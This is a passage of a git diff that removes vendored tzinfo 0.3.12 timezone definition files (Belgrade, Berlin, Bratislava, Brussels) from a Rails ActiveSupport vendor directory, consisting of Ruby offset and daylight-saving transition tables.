-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb
deleted file mode 100644
index 4dbd893d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Belgrade
-        include TimezoneDefinition
-        
-        timezone 'Europe/Belgrade' do |tz|
-          tz.offset :o0, 4920, 0, :LMT
-          tz.offset :o1, 3600, 0, :CET
-          tz.offset :o2, 3600, 3600, :CEST
-          
-          tz.transition 1883, 12, :o1, 1734607039, 720
-          tz.transition 1941, 4, :o2, 29161241, 12
-          tz.transition 1942, 11, :o1, 58335973, 24
-          tz.transition 1943, 3, :o2, 58339501, 24
-          tz.transition 1943, 10, :o1, 58344037, 24
-          tz.transition 1944, 4, :o2, 58348405, 24
-          tz.transition 1944, 10, :o1, 58352773, 24
-          tz.transition 1945, 5, :o2, 58358005, 24
-          tz.transition 1945, 9, :o1, 58361149, 24
-          tz.transition 1983, 3, :o2, 417574800
-          tz.transition 1983, 9, :o1, 433299600
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 9, :o1, 465354000
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 9, :o1, 496803600
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 9, :o1, 528253200
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 9, :o1, 559702800
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 9, :o1, 591152400
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 9, :o1, 622602000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 9, :o1, 654656400
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 9, :o1, 686106000
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 9, :o1, 717555600
-          tz.transition 1993, 3, :o2, 733280400
-          tz.transition 1993, 9, :o1, 749005200
-          tz.transition 1994, 3, :o2, 764730000
-          tz.transition 1994, 9, :o1, 780454800
-          tz.transition 1995, 3, :o2, 796179600
-          tz.transition 1995, 9, :o1, 811904400
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb
deleted file mode 100644
index 72105423..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Berlin
-        include TimezoneDefinition
-        
-        timezone 'Europe/Berlin' do |tz|
-          tz.offset :o0, 3208, 0, :LMT
-          tz.offset :o1, 3600, 0, :CET
-          tz.offset :o2, 3600, 3600, :CEST
-          tz.offset :o3, 3600, 7200, :CEMT
-          
-          tz.transition 1893, 3, :o1, 26055588199, 10800
-          tz.transition 1916, 4, :o2, 29051813, 12
-          tz.transition 1916, 9, :o1, 58107299, 24
-          tz.transition 1917, 4, :o2, 58112029, 24
-          tz.transition 1917, 9, :o1, 58115725, 24
-          tz.transition 1918, 4, :o2, 58120765, 24
-          tz.transition 1918, 9, :o1, 58124461, 24
-          tz.transition 1940, 4, :o2, 58313293, 24
-          tz.transition 1942, 11, :o1, 58335973, 24
-          tz.transition 1943, 3, :o2, 58339501, 24
-          tz.transition 1943, 10, :o1, 58344037, 24
-          tz.transition 1944, 4, :o2, 58348405, 24
-          tz.transition 1944, 10, :o1, 58352773, 24
-          tz.transition 1945, 4, :o2, 58357141, 24
-          tz.transition 1945, 5, :o3, 4863199, 2
-          tz.transition 1945, 9, :o2, 4863445, 2
-          tz.transition 1945, 11, :o1, 58362661, 24
-          tz.transition 1946, 4, :o2, 58366189, 24
-          tz.transition 1946, 10, :o1, 58370413, 24
-          tz.transition 1947, 4, :o2, 29187379, 12
-          tz.transition 1947, 5, :o3, 58375597, 24
-          tz.transition 1947, 6, :o2, 4864731, 2
-          tz.transition 1947, 10, :o1, 58379125, 24
-          tz.transition 1948, 4, :o2, 58383829, 24
-          tz.transition 1948, 10, :o1, 58387861, 24
-          tz.transition 1949, 4, :o2, 58392397, 24
-          tz.transition 1949, 10, :o1, 58396597, 24
-          tz.transition 1980, 4, :o2, 323830800
-          tz.transition 1980, 9, :o1, 338950800
-          tz.transition 1981, 3, :o2, 354675600
-          tz.transition 1981, 9, :o1, 370400400
-          tz.transition 1982, 3, :o2, 386125200
-          tz.transition 1982, 9, :o1, 401850000
-          tz.transition 1983, 3, :o2, 417574800
-          tz.transition 1983, 9, :o1, 433299600
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 9, :o1, 465354000
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 9, :o1, 496803600
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 9, :o1, 528253200
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 9, :o1, 559702800
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 9, :o1, 591152400
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 9, :o1, 622602000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 9, :o1, 654656400
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 9, :o1, 686106000
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 9, :o1, 717555600
-          tz.transition 1993, 3, :o2, 733280400
-          tz.transition 1993, 9, :o1, 749005200
-          tz.transition 1994, 3, :o2, 764730000
-          tz.transition 1994, 9, :o1, 780454800
-          tz.transition 1995, 3, :o2, 796179600
-          tz.transition 1995, 9, :o1, 811904400
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb
deleted file mode 100644
index 7a731a0b..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Bratislava
-        include TimezoneDefinition
-        
-        linked_timezone 'Europe/Bratislava', 'Europe/Prague'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb
deleted file mode 100644
index 6b0a2429..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb
+++ /dev/null
@@ -1,232 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Brussels
-        include TimezoneDefinition
-        
-        timezone 'Europe/Brussels' do |tz|
-          tz.offset :o0, 1050, 0, :LMT
-          tz.offset :o1, 1050, 0, :BMT
-          tz.offset :o2, 0, 0, :WET
-          tz.offset :o3, 3600, 0, :CET
-          tz.offset :o4, 3600, 3600, :CEST
-          tz.offset :o5, 0, 3600, :WEST
-          
-          tz.transition 1879, 12, :o1, 1386844121, 576
-          tz.transition 1892, 5, :o2, 1389438713, 576
-          tz.transition 1914, 11, :o3, 4840889, 2
-          tz.transition 1916, 4, :o4, 58103627, 24
-          tz.transition 1916, 9, :o3, 58107299, 24
-          tz.transition 1917, 4, :o4, 58112029, 24
-          tz.transition 1917, 9, :o3, 58115725, 24
-          tz.transition 1918, 4, :o4, 58120765, 24
-          tz.transition 1918, 9, :o3, 58124461, 24
-          tz.transition 1918, 11, :o2, 58125815, 24
-          tz.transition 1919, 3, :o5, 58128467, 24
-          tz.transition 1919, 10, :o2, 58133675, 24
-          tz.transition 1920, 2, :o5, 58136867, 24
-          tz.transition 1920, 10, :o2, 58142915, 24
-          tz.transition 1921, 3, :o5, 58146323, 24
-          tz.transition 1921, 10, :o2, 58151723, 24
-          tz.transition 1922, 3, :o5, 58155347, 24
-          tz.transition 1922, 10, :o2, 58160051, 24
-          tz.transition 1923, 4, :o5, 58164755, 24
-          tz.transition 1923, 10, :o2, 58168787, 24
-          tz.transition 1924, 3, :o5, 58172987, 24
-          tz.transition 1924, 10, :o2, 58177523, 24
-          tz.transition 1925, 4, :o5, 58181891, 24
-          tz.transition 1925, 10, :o2, 58186259, 24
-          tz.transition 1926, 4, :o5, 58190963, 24
-          tz.transition 1926, 10, :o2, 58194995, 24
-          tz.transition 1927, 4, :o5, 58199531, 24
-          tz.transition 1927, 10, :o2, 58203731, 24
-          tz.transition 1928, 4, :o5, 58208435, 24
-          tz.transition 1928, 10, :o2, 29106319, 12
-          tz.transition 1929, 4, :o5, 29108671, 12
-          tz.transition 1929, 10, :o2, 29110687, 12
-          tz.transition 1930, 4, :o5, 29112955, 12
-          tz.transition 1930, 10, :o2, 29115055, 12
-          tz.transition 1931, 4, :o5, 29117407, 12
-          tz.transition 1931, 10, :o2, 29119423, 12
-          tz.transition 1932, 4, :o5, 29121607, 12
-          tz.transition 1932, 10, :o2, 29123791, 12
-          tz.transition 1933, 3, :o5, 29125891, 12
-          tz.transition 1933, 10, :o2, 29128243, 12
-          tz.transition 1934, 4, :o5, 29130427, 12
-          tz.transition 1934, 10, :o2, 29132611, 12
-          tz.transition 1935, 3, :o5, 29134711, 12
-          tz.transition 1935, 10, :o2, 29136979, 12
-          tz.transition 1936, 4, :o5, 29139331, 12
-          tz.transition 1936, 10, :o2, 29141347, 12
-          tz.transition 1937, 4, :o5, 29143531, 12
-          tz.transition 1937, 10, :o2, 29145715, 12
-          tz.transition 1938, 3, :o5, 29147815, 12
-          tz.transition 1938, 10, :o2, 29150083, 12
-          tz.transition 1939, 4, :o5, 29152435, 12
-          tz.transition 1939, 11, :o2, 29155039, 12
-          tz.transition 1940, 2, :o5, 29156215, 12
-          tz.transition 1940, 5, :o4, 29157235, 12
-          tz.transition 1942, 11, :o3, 58335973, 24
-          tz.transition 1943, 3, :o4, 58339501, 24
-          tz.transition 1943, 10, :o3, 58344037, 24
-          tz.transition 1944, 4, :o4, 58348405, 24
-          tz.transition 1944, 9, :o3, 58352413, 24
-          tz.transition 1945, 4, :o4, 58357141, 24
-          tz.transition 1945, 9, :o3, 58361149, 24
-          tz.transition 1946, 5, :o4, 58367029, 24
-          tz.transition 1946, 10, :o3, 58370413, 24
-          tz.transition 1977, 4, :o4, 228877200
-          tz.transition 1977, 9, :o3, 243997200
-          tz.transition 1978, 4, :o4, 260326800
-          tz.transition 1978, 10, :o3, 276051600
-          tz.transition 1979, 4, :o4, 291776400
-          tz.transition 1979, 9, :o3, 307501200
-          tz.transition 1980, 4, :o4, 323830800
-          tz.transition 1980, 9, :o3, 338950800
-          tz.transition 1981, 3, :o4, 354675600
-          tz.transition 1981, 9, :o3, 370400400
-          tz.transition 1982, 3, :o4, 386125200
-          tz.transition 1982, 9, :o3, 401850000
-          tz.transition 1983, 3, :o4, 417574800
-          tz.transition 1983, 9, :o3, 433299600
-          tz.transition 1984, 3, :o4, 449024400
-          tz.transition 1984, 9, :o3, 465354000
-          tz.transition 1985, 3, :o4, 481078800
-          tz.transition 1985, 9, :o3, 496803600
-          tz.transition 1986, 3, :o4, 512528400
-          tz.transition 1986, 9, :o3, 528253200
-          tz.transition 1987, 3, :o4, 543978000
-          tz.transition 1987, 9, :o3, 559702800
-          tz.transition 1988, 3, :o4, 575427600
-          tz.transition 1988, 9, :o3, 591152400
-          tz.transition 1989, 3, :o4, 606877200
-          tz.transition 1989, 9, :o3, 622602000
-          tz.transition 1990, 3, :o4, 638326800
-          tz.transition 1990, 9, :o3, 654656400
-          tz.transition 1991, 3, :o4, 670381200
-          tz.transition 1991, 9, :o3, 686106000
-          tz.transition 1992, 3, :o4, 701830800
-          tz.transition 1992, 9, :o3, 717555600
-          tz.transition 1993, 3, :o4, 733280400
-          tz.transition 1993, 9, :o3, 749005200
-          tz.transition 1994, 3, :o4, 764730000
-          tz.transition 1994, 9, :o3, 780454800
-          tz.transition 1995, 3, :o4, 796179600
-          tz.transition 1995, 9, :o3, 811904400
-          tz.transition 1996, 3, :o4, 828234000
-          tz.transition 1996, 10, :o3, 846378000
-          tz.transition 1997, 3, :o4, 859683600
-          tz.transition 1997, 10, :o3, 877827600
-          tz.transition 1998, 3, :o4, 891133200
-          tz.transition 1998, 10, :o3, 909277200
-          tz.transition 1999, 3, :o4, 922582800
-          tz.transition 1999, 10, :o3, 941331600
-          tz.transition 2000, 3, :o4, 954032400
-          tz.transition 2000, 10, :o3, 972781200
-          tz.transition 2001, 3, :o4, 985482000
-          tz.transition 2001, 10, :o3, 1004230800
-          tz.transition 2002, 3, :o4, 1017536400
-          tz.transition 2002, 10, :o3, 1035680400
-          tz.transition 2003, 3, :o4, 1048986000
-          tz.transition 2003, 10, :o3, 1067130000
-          tz.transition 2004, 3, :o4, 1080435600
-          tz.transition 2004, 10, :o3, 1099184400
-          tz.transition 2005, 3, :o4, 1111885200
-          tz.transition 2005, 10, :o3, 1130634000
-          tz.transition 2006, 3, :o4, 1143334800
-          tz.transition 2006, 10, :o3, 1162083600
-          tz.transition 2007, 3, :o4, 1174784400
-          tz.transition 2007, 10, :o3, 1193533200
-          tz.transition 2008, 3, :o4, 1206838800
-          tz.transition 2008, 10, :o3, 1224982800
-          tz.transition 2009, 3, :o4, 1238288400
-          tz.transition 2009, 10, :o3, 1256432400
-          tz.transition 2010, 3, :o4, 1269738000
-          tz.transition 2010, 10, :o3, 1288486800
-          tz.transition 2011, 3, :o4, 1301187600
-          tz.transition 2011, 10, :o3, 1319936400
-          tz.transition 2012, 3, :o4, 1332637200
-          tz.transition 2012, 10, :o3, 1351386000
-          tz.transition 2013, 3, :o4, 1364691600
-          tz.transition 2013, 10, :o3, 1382835600
-          tz.transition 2014, 3, :o4, 1396141200
-          tz.transition 2014, 10, :o3, 1414285200
-          tz.transition 2015, 3, :o4, 1427590800
-          tz.transition 2015, 10, :o3, 1445734800
-          tz.transition 2016, 3, :o4, 1459040400
-          tz.transition 2016, 10, :o3, 1477789200
-          tz.transition 2017, 3, :o4, 1490490000
-          tz.transition 2017, 10, :o3, 1509238800
-          tz.transition 2018, 3, :o4, 1521939600
-          tz.transition 2018, 10, :o3, 1540688400
-          tz.transition 2019, 3, :o4, 1553994000
-          tz.transition 2019, 10, :o3, 1572138000
-          tz.transition 2020, 3, :o4, 1585443600
-          tz.transition 2020, 10, :o3, 1603587600
-          tz.transition 2021, 3, :o4, 1616893200
-          tz.transition 2021, 10, :o3, 1635642000
-          tz.transition 2022, 3, :o4, 1648342800
-          tz.transition 2022, 10, :o3, 1667091600
-          tz.transition 2023, 3, :o4, 1679792400
-          tz.transition 2023, 10, :o3, 1698541200
-          tz.transition 2024, 3, :o4, 1711846800
-          tz.transition 2024, 10, :o3, 1729990800
-          tz.transition 2025, 3, :o4, 1743296400
-          tz.transition 2025, 10, :o3, 1761440400
-          tz.transition 2026, 3, :o4, 1774746000
-          tz.transition 2026, 10, :o3, 1792890000
-          tz.transition 2027, 3, :o4, 1806195600
-          tz.transition 2027, 10, :o3, 1824944400
-          tz.transition 2028, 3, :o4, 1837645200
-          tz.transition 2028, 10, :o3, 1856394000
-          tz.transition 2029, 3, :o4, 1869094800
-          tz.transition 2029, 10, :o3, 1887843600
-          tz.transition 2030, 3, :o4, 1901149200
-          tz.transition 2030, 10, :o3, 1919293200
-          tz.transition 2031, 3, :o4, 1932598800
-          tz.transition 2031, 10, :o3, 1950742800
-          tz.transition 2032, 3, :o4, 1964048400
-          tz.transition 2032, 10, :o3, 1982797200
-          tz.transition 2033, 3, :o4, 1995498000
-          tz.transition 2033, 10, :o3, 2014246800
-          tz.transition 2034, 3, :o4, 2026947600
-          tz.transition 2034, 10, :o3, 2045696400
-          tz.transition 2035, 3, :o4, 2058397200
-          tz.transition 2035, 10, :o3, 2077146000
-          tz.transition 2036, 3, :o4, 2090451600
-          tz.transition 2036, 10, :o3, 2108595600
-          tz.transition 2037, 3, :o4, 2121901200
-          tz.transition 2037, 10, :o3, 2140045200
-          tz.transition 2038, 3, :o4, 59172253, 24
-          tz.transition 2038, 10, :o3, 59177461, 24
-          tz.transition 2039, 3, :o4, 59180989, 24
-          tz.transition 2039, 10, :o3, 59186197, 24
-          tz.transition 2040, 3, :o4, 59189725, 24
-          tz.transition 2040, 10, :o3, 59194933, 24
-          tz.transition 2041, 3, :o4, 59198629, 24
-          tz.transition 2041, 10, :o3, 59203669, 24
-          tz.transition 2042, 3, :o4, 59207365, 24
-          tz.transition 2042, 10, :o3, 59212405, 24
-          tz.transition 2043, 3, :o4, 59216101, 24
-          tz.transition 2043, 10, :o3, 59221141, 24
-          tz.transition 2044, 3, :o4, 59224837, 24
-          tz.transition 2044, 10, :o3, 59230045, 24
-          tz.transition 2045, 3, :o4, 59233573, 24
-          tz.transition 2045, 10, :o3, 59238781, 24
-          tz.transition 2046, 3, :o4, 59242309, 24
-          tz.transition 2046, 10, :o3, 59247517, 24
-          tz.transition 2047, 3, :o4, 59251213, 24
-          tz.transition 2047, 10, :o3, 59256253, 24
-          tz.transition 2048, 3, :o4, 59259949, 24
-          tz.transition 2048, 10, :o3, 59264989, 24
-          tz.transition 2049, 3, :o4, 59268685, 24
-          tz.transition 2049, 10, :o3, 59273893, 24
-          tz.transition 2050, 3, :o4, 59277421, 24
